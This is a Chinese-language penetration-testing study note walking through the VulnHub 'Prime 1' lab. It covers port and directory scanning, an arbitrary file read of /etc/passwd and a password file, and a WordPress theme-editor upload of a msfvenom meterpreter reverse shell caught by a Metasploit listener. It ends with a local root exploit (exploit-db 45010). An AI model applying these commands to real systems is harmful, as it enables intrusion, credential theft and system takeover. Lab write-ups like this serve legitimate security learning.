记一次渗透测试(学习笔记)
以下内容仅供学习, 严禁用于商业用途
靶场目标: https://www.vulnhub.com/entry/prime-1,358/
下载好靶场以后,可以看到靶场可以通过vmware直接打开,靶场系统为Ubuntu系统,开机画面如下:
这里VMnet选择的是nat模式,因此靶场的ip段跟我们kali的ip共处一个C段,现在要查看kali的ip
# ifconfig
这里可以看到虚拟机ip是192.168.186.128,接着扫描目标的ip
# nmap -sP 192.168.186.0/24
发现目标主机地址为: 192.168.186.131
扫描该主机下有哪些端口开放
# nmap -p 0-65535 192.168.186.131
//不加 -p 0-65535 只是扫描常见的1000个端口
现在我们可以看到目标主机开放了两个端口,依次尝试去连接
两个都没有任何的收获, 可是尝试去进行网站的目录爆破
# dirb http://192.168.186.131
扫描出三条有用的目录
http://192.168.186.131/dev
http://192.168.186.131/index.php
http://192.168.186.131/wordpress/index.php
emmm, 被嘲讽了啊, 那只能尝试着去看看index.php下边有没有可爆破的参数了,这里要用到一个工具 wfuzz。wfuzz可以用来查找一个web server中的隐藏的文件和路径,来扩大攻击面。
# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.186.131/index.php?FUZZ=FUZZ
通过wfuzz --hw参数来筛选我们想要的参数
# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.186.131/index.php?FUZZ=FUZZ
OK 拿到了我们想要的参数是“file”,那么我们同样的方法扫描其参数值
# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.186.131/index.php?file=FUZZ
# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 19 http://192.168.186.131/index.php?file=FUZZ
然而线索断了,并没有扫描出结果
那么我们要深度的扫描该网站的目录,使用dirb -X参数精确查找文件后缀
# dirb http://192.168.186.131/ -X .zip,.txt,.php,.cfg
// -X 后边可以跟常见的敏感文件后缀
由此可见,比之前多出了image.php和secret.txt文件
在这里有一个有好的提示: 找到 location.txt文件将会看到你需要的东西,还记得上文中我们找到了一个关键的参数 file,那么我们将这个参数值代入进去访问一下,看看能发现什么
# curl http://192.168.186.131/index.php?file=location.txt
// 在这里我利用了可能存在的任意文件读取漏洞
那么既然我们已经找到了真实的参数secrettier360,并且提示我们尝试去访问其他php页面
在这里我们要说一个常见的漏洞:任意文件读取漏洞
根据一些网站的需求,会提供给用户查阅或下载文件的功能,若网站没有对用户所查看或下载的文件没有限制或限制绕过,那么就可以查看或下载任意文件
危害:可以读取任意文件,包括敏感文件、源码、配置文件、日志文件等
那么大家都知道Linux一般存放密码的地方在/etc/passwd,那么我们接下来利用任意文件读取漏洞,看看有没有什么收获
# curl http://192.168.186.131/image.php?secrettier360=/etc/passwd
这里发现了一个password.txt,就存放在/home/saket目录下
# curl http://192.168.186.131/image.php?secrettier360=/home/saket/password.txt
访问了以后发现文件中出现一个密码follow_the_ippsec,但是并不清楚是ssh的连接密码还是wordpress的用户登录密码,依次尝试连接
# ssh 192.168.186.131
密码错误,尝试连接wordpress
这里已经成功登录wordpress(用户名会在wordpress主页显示,就不多说了)
下边我们要利用wordpress的一个主题编辑器来实现一个反向连接的功能。
找到Appearance下的Theme Editor,并打开一个可以上传文件的Theme files
找了一圈,发现有个secret.php文件可以实现上传功能,那么我们接下来的功课就是上传一个反弹shell来实现目标主机主动连接我们主机的功能了
# msfvenom -p php/meterpreter/reverse_tcp -o /home/kali/Desktop/reverseShell.php
这样子我们就创建了一个反弹shell的php文件,并将它上传到wordpress的主题编辑器
接下来使用msfconsole来设置监听
# use expliot/multi/handler //使用handler模块
# set payload php/meterpreter/reverse_tcp //设置有效负载为reverse_tcp(这里要同你之前上传的反弹shell用到同一个payload)
# set lhost 192.168.186.128 //设置靶机连接的主机ip,即自己的本地ip
# set lport 4444 //设置端口号(可以不写,默认端口4444,要与上传的shell端口一致)
# exploit //开始执行监听
既然我们用到的是反弹shell,那么就需要靶机主动的去连接、访问我们的shell页面,此时可以看到我们的命令行变成了meterpreter,就说明我们已经连接成功了
接下来就是收集靶机的信息了,kali为我们封装了一个查看系统信息的方法sysinfo(或者使用shell命令进入靶机界面,然后输入uname -a命令也是一样的)
# sysinfo
收集到靶机操作系统的信息后,我们针对ubuntu 16.04搜索可用的漏洞
再msfconsole下输入searchsploit命令
# searchsploit 16.04 ubuntu
在这里我们需要45010.c文件复制下来并使用gcc进行编译,作为我们本地提权的脚本
# cp /usr/share/exploitdb/exploits/linux/local/45010.c /root/45010.c
# gcc /root/45010.c -o /root/45010
最后只需要将我们编译好的45010脚本上传到靶机并执行即可
# upload /root/45010 /tmp/45010
# shell
# cd /tmp && chmod +x 45010 //给脚本一个可执行的权限
# ./45010 //执行脚本
# whoami
好了 已经获取root权限了
最后声明,本篇文章为渗透测试学习帖,禁止用作非法用途,请严格遵守《中华人民共和国计算机信息系统安全保护条例》!!!